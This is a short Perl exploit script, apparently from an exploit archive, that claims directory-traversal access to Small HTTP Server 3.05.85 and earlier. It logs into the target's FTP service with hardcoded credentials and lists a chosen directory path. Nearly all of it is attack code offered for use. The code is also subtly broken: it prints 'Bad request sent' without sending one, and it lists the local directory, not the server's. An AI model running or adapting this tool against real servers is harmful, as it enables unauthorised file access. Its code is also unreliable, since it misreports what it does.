#!/usr/bin/perl
#
# Author : Houssamix

# Small HTTP Server <= 3.05.85 Directory Traversal Exploit

# Description : Any user FTP with low permission can have access to any directory in server

# Downlod : http://smallsrv.com/
# [01.01.09] Happy new year! Version 3.05.84

# Greetz to Legend-Spy , Stack , Snakespc , str0ke & .. 

use LWP;
use Net::FTP;
use IO::Dir;  
use Tk;

if(@ARGV!=2){
    print "Author : Houssamix \n";
    print "Small HTTP Server <= 3.05.85 Directory Traversal Exploit\n";
    print "Usage: Hsmx.pl IP [dir_path] \n";
    print "Exam: Hsmx.pl 127.0.0.1 c:\\ \n\n";
    exit;
}

$ip = $ARGV[0];
$path = $ARGV[1];

my $username = "houssamix"; 
my $pass = "123456"; 
system("color f");

print "\n\n"; 
print "[+] Author : Houssamix\n"; 
print "[+] Small HTTP Server <= 3.05.85 Directory Traversal Exploit\n"; 
print "[+] Connect to $ip ...\n"; 
sleep(1);
$ftp = Net::FTP->new($ip, Debug => 0, Port => 21) || die "could not 
connect: $!";

print "[+] Send user and pass..\n";

$ftp->login($username, $pass) || die "could not login: $!"; 
sleep(1);

print "[+] Logged in\n";
print "[+] Bad request sent \n\n";
sleep(1);

tie %dir, IO::Dir, $path;
foreach (keys %dir) {
print  $_, " => " , $dir{$_}->size, "\n";
}

$ftp->quit;